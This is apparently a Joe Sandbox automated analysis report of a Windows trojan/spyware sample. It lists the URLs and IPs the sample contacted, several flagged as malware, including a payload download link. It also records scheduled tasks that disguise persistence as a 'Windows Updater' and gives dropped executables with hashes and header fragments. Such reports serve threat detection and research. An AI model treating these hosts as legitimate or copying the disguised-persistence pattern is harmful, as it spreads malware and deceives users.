http://www.mildstat.com/ping/?count=true&id=55ghm2fide1	setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.inlogbrowser.com/pp.txt	setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.0000000004211000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.00000000007A2000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.00000000041FD000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1661&a=2598&dn=419&spot=3&t=1	setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.oces.trust2408.com/oces.crl0	a1.exe, 00000015.00000003.2982783017.0000000003E6C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.advancedinstaller.com	a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.0000000002120000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000249D000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, MSIF244.tmp.22.dr, MSIF323.tmp.22.dr, MSIDA82.tmp.22.dr, System Updater.msi.34.dr	false		high
https://allroadslimit.com/	Windows Updater.exe, 0000001E.00000002.3180467976.00000000010B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://certs.oaticerts.com/repository/OATICA2.crl	a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://certs.oati.net/repository/OATICA2.crt0	a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.accv.es00	a1.exe, 00000015.00000003.2984792935.0000000003F43000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2984699434.0000000003F42000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i	a0.exe, 00000007.00000003.2865495919.0000000002700000.00000004.00001000.00020000.00000000.sdmp, a0.exe, 00000007.00000003.2924531348.00000000024AD000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000008.00000003.2870256458.00000000035E0000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000008.00000003.2919948192.000000000383B000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000008.00000003.2920539243.00000000023CC000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000008.00000003.2920539243.00000000023C5000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000008.00000003.2919948192.000000000387B000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000008.00000003.2920539243.000000000237C000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0	a1.exe, 00000015.00000003.2982949114.0000000003E5E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ambadevgroup.info/load/1509/promo.exea62	setup.tmp, 00000004.00000002.3927324403.0000000004370000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://allroadslimit.com/VJH	Windows Updater.exe, 0000001E.00000002.3180467976.00000000010B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://false.apparelsilver.xyz/	setup.tmp, 00000004.00000002.3907486788.00000000007D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tankqueueipjsh.pw/?P:S	1922353491.exe, 00000024.00000003.3413197154.000000000519D000.00000004.00000020.00020000.00000000.sdmp, 1922353491.exe, 00000024.00000003.3424397873.000000000519D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl2.postsignum.cz/crl/psrootqca4.crl01	a1.exe, 00000015.00000003.2984699434.0000000003F34000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://web.ncdc.gov.sa/crl/nrcaparta1.crl	a1.exe, 00000015.00000003.2983645174.0000000003E57000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.datev.de/zertifikat-policy-int0	a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2984792935.0000000003F43000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2984699434.0000000003F42000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pro.ip-api.com/json?key=IQgnKO7n5Bmojupi	a1.exe, 00000015.00000002.3155766192.0000000006F32000.00000004.00000020.00020000.00000000.sdmp	false		high
http://mysoftwareusa.info/archives/70Ro	a3.exe, 00000021.00000002.3929526900.0000000003F48000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1658&a=2598&dn=416&spot=7&t=	setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.acabogacia.org0	a1.exe, 00000015.00000003.2983645174.0000000003E57000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.firmaprofesional.com/cps0	a1.exe, 00000015.00000003.2984699434.0000000003F34000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/SGCA.crl0	a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://sparksteam.site/K	ZmWSzgevgt.tmp, 00000002.00000003.2130046254.0000000000978000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2130638305.0000000000984000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000002.3908425172.0000000000983000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://sparksteam.site/L	ZmWSzgevgt.tmp, 00000002.00000002.3908425172.0000000000972000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000003.2130161380.000000000096F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.157.197	send.planewool.xyz	United States	13335	CLOUDFLARENETUS	false
185.23.108.224	www.agenment.cloud	Hungary	6876	TENET-ASUA	false
142.251.111.84	accounts.google.com	United States	15169	GOOGLEUS	false
95.142.47.11	myptofgrtulo.info	Russian Federation	48282	VDSINA-ASRU	false
157.230.96.32	pstbbk.com	United States	14061	DIGITALOCEAN-ASNUS	false
104.21.83.145	tankqueueipjsh.pw	United States	13335	CLOUDFLARENETUS	false
104.21.74.109	allroadslimit.com	United States	13335	CLOUDFLARENETUS	false
172.67.150.192	dl.likeasurfer.com	United States	13335	CLOUDFLARENETUS	false
104.21.13.66	false.apparelsilver.xyz	United States	13335	CLOUDFLARENETUS	false
104.21.52.223	sparksteam.site	United States	13335	CLOUDFLARENETUS	true
104.21.37.216	axsboe-campaign.com	United States	13335	CLOUDFLARENETUS	false
37.1.198.251	ambadevgroup.info	Ukraine	28753	LEASEWEB-DE-FRA-10DE	false
159.223.29.40	kapetownlink.com	United States	46118	CELANESE-US	false
142.251.16.147	www.google.com	United States	15169	GOOGLEUS	false
152.199.4.44	cs1100.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
142.251.16.101	clients.l.google.com	United States	15169	GOOGLEUS	false
172.67.165.204	sidemark.xyz	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
54.165.145.62	collect.installeranalytics.com	United States	14618	AMAZON-AESUS	false
62.172.138.67	geo.netsupportsoftware.com	United Kingdom	5400	BTGB	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1354609
Start date and time:	2023-12-06 14:49:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	60
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ZmWSzgevgt.exe renamed because original name is a hash value
Original Sample Name:	4f2d5d155fe7497f9ab429cae34c5ebbdd711b0256b3bae83d9038cf1526c724.exe
Detection:	MAL
Classification:	mal92.troj.spyw.evad.winEXE@101/627@61/21
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 81% Number of executed functions: 117 Number of non-executed functions: 172
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 72.21.81.240, 23.207.202.28, 192.229.211.108, 172.253.122.94, 34.104.35.123, 23.12.147.23, 23.12.147.45, 23.12.147.12, 23.12.147.37, 23.12.147.22, 23.12.147.14, 23.12.147.6, 23.12.147.20, 23.218.218.174, 23.218.218.155, 13.107.21.200, 204.79.197.200, 23.12.147.29, 23.12.147.13, 23.12.147.31, 23.48.203.202, 23.48.203.206, 23.48.203.196, 23.48.203.197, 23.48.203.200, 23.48.203.210, 23.48.203.207, 20.190.190.196, 20.190.190.129, 20.190.190.132, 40.126.62.132, 40.126.62.129, 20.190.190.193, 40.126.62.131, 20.190.190.195, 20.190.151.68, 20.190.151.7, 20.190.151.132, 20.190.151.133, 20.190.151.70, 20.190.151.9, 20.190.151.69, 20.190.151.6, 204.79.197.203, 20.110.205.119, 52.182.143.211, 23.48.203.205, 23.218.218.137, 23.218.218.154, 23.218.218.139, 23.218.218.177, 23.218.218.159, 23.218.218.156, 23.218.218.184, 23.218.218.153, 23.218.218.143, 23.218.218.183, 23.218.218.146, 23.218.218.162, 23.218.218.172, 23.218.218.176, 23.222.200.163
Excluded domains from analysis (whitelisted): ssl2.tiles.virtualearth.net.edgekey.net, slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, c-bing-com.a-0001.a-msedge.net, img-s-msn-com.akamaized.net, clientservices.googleapis.com, p-static.bing.trafficmanager.net, aefd.nelreports.net.akamaized.net, bing.com, ak.privatelink.msidentity.com, 124.t.keepitpumpin.io, e86303.dscx.akamaiedge.net, prda.aadg.msidentity.com, ocsp.digicert.com, login.live.com, th.bing.com, r.bing.com, www-bing-com.dual-a-0001.a-msedge.net, login.mso.msidentity.com, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, www2.bing.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, th.bing.com.edgekey.net, dual-a-0001.a-msedge.net, r.bing.com.edgekey.net, www.tm.ak.prd.aadg.akadns.net, a-0003.a-msedge.net, ctldl.windowsupdate.com, p-th.bing.com.trafficmanager.net, 0.t.dancevalidator.io, www.tm.a.prd.aadg.akadns.net, www-msn-com.a-0003.a-msedge.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, a1834.dscg
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
VT rate limit hit for: ZmWSzgevgt.exe

Simulations

Behavior and APIs

Time	Type	Description
14:52:31	Task Scheduler	Run new task: AdvancedUpdater path: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe s>/silentall -nofreqcheck -nogui
14:52:45	API Interceptor	2379545x Sleep call for process: wmiprvse.exe modified
14:52:53	Task Scheduler	Run new task: AdvancedWindowsManager #1 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 110 -t 8080
14:52:53	Task Scheduler	Run new task: AdvancedWindowsManager #2 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 111 -t 8080
14:52:53	Task Scheduler	Run new task: AdvancedWindowsManager #3 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 112 -t 8080
14:52:53	Task Scheduler	Run new task: AdvancedWindowsManager #4 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 113 -t 8080
14:52:53	Task Scheduler	Run new task: AdvancedWindowsManager #5 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 114 -t 8080
14:52:54	Task Scheduler	Run new task: AdvancedWindowsManager #6 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 115 -t 8080
14:53:13	Task Scheduler	Run new task: AdvancedWindowsManager #7 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 122 -t 8080
14:53:13	Task Scheduler	Run new task: AdvancedWindowsManager #8 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 123-t 8080
14:53:13	API Interceptor	71x Sleep call for process: 1922353491.exe modified
14:53:13	API Interceptor	208x Sleep call for process: a3.exe modified
14:53:15	Task Scheduler	Run new task: AdvancedWindowsManager #9 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 124 -t 8080

Process:	C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	152
Entropy (8bit):	5.4340264917664
Encrypted:	false
SSDEEP:	3:N1KNMBwFfOYKrZK3VVeR3hX/+39EgisUHHOW8dfD9/QVomUdYdn:CemFfH3V4E39WJ5sJ/Ndw
MD5:	7F9918E645C527A3D1C1AE2C3FE0E962
SHA1:	341EBF5B195C0AD479949FD25A5434A7C544D2D2
SHA-256:	B807CCEEE6E4B54A37808296E36C68343B40581F7D45B74B5DAE8F485E68BE06
SHA-512:	A88C567CA0E469181EEC5E24AA974AB6A033A9C61F04270A67F3B93A3EA0441693E58145367D9E08DD0E526E5BA20A5FD813AF874AC3F04702B5F738FEE71E98
Malicious:	false
Reputation:	unknown
Preview:	http://sidemark.xyz/pe/buildIN.php?sub=&source=3890&s1=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyLTE1LXYxLTgtLmV4ZQ%3D%3D&ti=1701870648

413dee.rbf (copy)

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1036152
Entropy (8bit):	6.491502495873816
Encrypted:	false
SSDEEP:	24576:yViYocX3hU49N1frFMDtpen0qZQ9b1zCdUVdjKFoeO:8iYoM6EODtA0qZhdUVdjKFoeO
MD5:	00DF35EDF6E7E2345949AF6ACB6EC40A
SHA1:	C9DCD62666C9056DAE38CB292361ABC263C62ECF
SHA-256:	C7EE9A8357EEB602C67C4EDEDB3E96510352FDDA9BFDCE60C5902D4C0A57AF66
SHA-512:	53334A2C60A4CF95EE0D59E86F14DB5847C130A7A27E6E8C418AE6CEF21AF6CD463DA2F15CA1ADC26FAD6A236F0DD92D0BA5ABCD88A453BF02939C8C7C0E7E09
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..7(.{d(.{d(.{d..xe&.{d..~e..{dJ..e;.{dJ.xe1.{dJ.~eu.{d...e3.{d..}e).{d..ze..{d(.zd..{d..reU.{d...d).{d..ye).{dRich(.{d........PE..L.....gb.........."..............................@.................................._....@.....................................,.......pc..............x....`.......:..p...................@;..........@...............t...<........................text...o........................... ..`.rdata..2...........................@..@.data...D)..........................@....rsrc...pc.......d..................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................................................................................................

413def.rbf (copy)

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Sat Dec 7 08:10:02 2019, mtime=Wed Dec 6 12:53:04 2023, atime=Sat Dec 7 08:10:02 2019, length=59904, window=hide
Category:	dropped
Size (bytes):	1871
Entropy (8bit):	3.619044197584284
Encrypted:	false
SSDEEP:	24:8WAcJZqCFbdAqwm+sP4AQ+Mb4A7SIr4Wb4A5cSGyfm:8WAcrqebW0AAQ5b4A7SBWb4AGg
MD5:	DACA5C46E480E96985C04E2F9B7CE49C
SHA1:	C3637977BD0F935EAEB1FD8C6AAA766D9A359C72
SHA-256:	FB6CA94B4D177AB6F19240A383FA642CE919EA586F3857ADB2338F3E17E152E3
SHA-512:	AA7C631BF6B51DA0D422490D01629C0A854700CC76BD5AC47CA5F62DFB5CC5A4C4B71E58AF076052683FB1273697F463D5ECF554682744F1398FA6A7DEDF4044
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...25.........K(..25.............................A....P.O. .:i.....+00.../C:\...................V.1.....DW.r..Windows.@......OwH.WTn....3.....................h...W.i.n.d.o.w.s.....Z.1.....DW.r..SysWOW64..B......O.I.WTn....Y.....................ck..S.y.s.W.O.W.6.4.....b.2......OBI .msiexec.exe.H......OBI.W.n................\|.............m.s.i.e.x.e.c...e.x.e.......N...............-.......M.............&h.....C:\Windows\SysWOW64\msiexec.exe..%.....\.....\.....\.W.i.n.d.o.w.s.\.S.y.s.W.O.W.6.4.\.m.s.i.e.x.e.c...e.x.e.)./.x. .{.7.9.8.E.6.1.D.4.-.8.9.2.3.-.4.E.7.7.-.A.7.4.B.-.2.D.F.2.6.4.3.9.4.A.4.8.}.S.C.:.\.W.i.n.d.o.w.s.\.I.n.s.t.a.l.l.e.r.\.{.7.9.8.E.6.1.D.4.-.8.9.2.3.-.4.E.7.7.-.A.7.4.B.-.2.D.F.2.6.4.3.9.4.A.4.8.}.\.S.y.s.t.e.m.F.o.l.d.e.r.m.s.i.e.x.e.c...e.x.e.........%SystemRoot%\Installer\{798E61D4-8923-4E77-A74B-2DF264394A48}\SystemFoldermsiexec.exe......................................................................................................

413df4.rbf (copy)

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1036152
Entropy (8bit):	6.491502495873816
Encrypted:	false
SSDEEP:	24576:yViYocX3hU49N1frFMDtpen0qZQ9b1zCdUVdjKFoeO:8iYoM6EODtA0qZhdUVdjKFoeO
MD5:	00DF35EDF6E7E2345949AF6ACB6EC40A
SHA1:	C9DCD62666C9056DAE38CB292361ABC263C62ECF
SHA-256:	C7EE9A8357EEB602C67C4EDEDB3E96510352FDDA9BFDCE60C5902D4C0A57AF66
SHA-512:	53334A2C60A4CF95EE0D59E86F14DB5847C130A7A27E6E8C418AE6CEF21AF6CD463DA2F15CA1ADC26FAD6A236F0DD92D0BA5ABCD88A453BF02939C8C7C0E7E09
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..7(.{d(.{d(.{d..xe&.{d..~e..{dJ..e;.{dJ.xe1.{dJ.~eu.{d...e3.{d..}e).{d..ze..{d(.zd..{d..reU.{d...d).{d..ye).{dRich(.{d........PE..L.....gb.........."..............................@.................................._....@.....................................,.......pc..............x....`.......:..p...................@;..........@...............t...<........................text...o........................... ..`.rdata..2...........................@..@.data...D)..........................@....rsrc...pc.......d..................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................................................................................................

413df9.rbf (copy)

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	697208
Entropy (8bit):	5.080864864433559
Encrypted:	false
SSDEEP:	12288:FyuvpsDlaR8FXIa9p6RrL1lUHBxnt5mHjLVUQNC:k8psDlaRAXIsYNL1lAd5mHjqQNC
MD5:	26002A612B392A4A948098A6211E1431
SHA1:	F22F7BE798FA1F5DAB112E822853A9236FB80ABD
SHA-256:	DD226AA0EE4D6A3439BF2CF3E9ECD2C22AD59451C8CE902258B1D34FD28FF922
SHA-512:	BC8A06AE19A1B59C0C89F33943FC449CD8DE1F45133DFC796570BD0407E8E2DD9DAB2885EBE6692F3A06ACF7BCC75AFBEB2E8918E925D37E65C6813EE34A7462
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...*.zb...............%.......................@....................................j.....`... ..................................................2......................x....................................Y..(...................<................................text...............................`..`.data...............................@....rdata...v.......x..................@..@.pdata...............f..............@..@.xdata..............................@..@.bss.... ................................idata...2.......4..................@....CRT....p...........................@....tls................................@....rsrc...............................@....reloc..............................@..B........................................................................................................................................................................

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\AdvancedWindowsManager.exe

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	482632
Entropy (8bit):	4.021997883759049
Encrypted:	false
SSDEEP:	3072:HlgzuCthwl8qHjLVUXIDnywJ++++++w4TKNLkv0s/Rus:HlXlbHjLVUXg3TKlkR/Ru
MD5:	26F21ED76944ED83382851D9F2453B0E
SHA1:	A6BD129346A87BC5FC041771AD4902FCE31A7A2C
SHA-256:	90D6500A63DA422BBEB141EFF6A85A4463EF2070B0AE9EC434F14C9B48841DDA
SHA-512:	CA5D9B3B2C6E065DC1CE4A483EDC8D23FA24B05D577732E3A71096F7FB9D627D9DFE3001B5B3C2AD0A0350FDA385A244767979A6D45719C57B83A2CD48CC6CFF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 44%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...iUp`..........'..........f................@..............................@....................................................................... ...............@..x...................................`...(.......................H............................text...(~..........................`.P`.data... ...........................@.`..rdata..............................@.`@.pdata..............................@.0@.xdata..X...........................@.0@.bss..................................`..idata..............................@.0..CRT....h...........................@.@..tls................................@.@..rsrc........ ......................@.0./4......P............l..............@.PB/19.............. ...n..............@..B/31.....I...........................@..B/45....."...........................@..B/57.....H.... ......................@.@B/70.....

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\System Updater.msi

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {F5D6D741-5AB0-4858-81E2-26A50610DFFA}, Number of Words: 0, Subject: Windows Installer, Author: AdvancedWindowsManager, Name of Creating Application: Advanced Installer 18.1.1 build 4b2255d8, Template: ;1033, Comments: This installer database contains the logic and data required to install Windows Installer., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	3494400
Entropy (8bit):	6.511621623392889
Encrypted:	false
SSDEEP:	98304:HYVAUtulbxKO1fTZ+RBIhtkuG09DyGUB9keVJ:hxfTZ+scrGUB
MD5:	9FC8CC919F8719F753EFF0EBD661523D
SHA1:	8B5007329F03E546D718B17A81AD3AE652DFF103
SHA-256:	4B31415F1494ED54BA885B005340ADBBA2E13848836368ACFCEF5E46B888D9AC
SHA-512:	EFB3C9E5B8CB5A03A4254125202C7E609D3E5680FD81CE9E715140D9F41F87A4A6C975824EDFE4B9A255B9218E33673261998C60DE22720DB3D135A1123F730A
Malicious:	false
Reputation:	unknown
Preview:	......................>...................6...........................................................................................\|...}...~.......................................................................................J...K...L...M...N...O...P...Q...R...S...T...U...x.......{...........................................................................................................................................................................................................................................l...............)...>........................................................................................... ...!..."...#...$...%...&...'...(...6...*...<...,...-......./...0...1...2...3...4...5.......7...8...9...:...;...?...=...G...J...@...A...B...C...D...E...F...Q...H...I...P...K...L...M...N...O...S...Q...R...k...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j.......m...~...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\Windows Updater.exe

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1020024
Entropy (8bit):	6.484855702452728
Encrypted:	false
SSDEEP:	24576:QOr6CB/z8SNkBH5k9Xk5LWvPV69XJeKTFEzpt:QOr3BgPBHSeJWvPVzKTFEzpt
MD5:	9453FD7FC259A8F63BF2335510785064
SHA1:	DE87738BF3AF7FA4A3D04F6D4CB0EB0E46C5FD54
SHA-256:	1CD3A99F519A0EA26D1CCCCA69089FB5C4272CF3A4EF02E6EE43A2151E4F7356
SHA-512:	3BB712DC682DC78FECF17408E008A8082311D99C9FDF4C4ADA5D0908E1CFFD3D10998B141442E05EC8BFB862F4416C6D57F70796096657A495341E8A7DEA00E4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m.y...c.y.........~.....u.....1.y...v.y...l.y...L.m...........L.l.....l.Richm.........................PE..L.....\`.........."..................k............@.................................A.....@.................................xX..,.......Dc...........t..x.... .........p...............................@...............t....S.......................text...o........................... ..`.rdata..............................@..@.data....(...........b..............@....rsrc...Dc.......d...v..............@..@.reloc...... ......................@..B........................................................................................................................................................................................................................................................................................

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\decoder.dll

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
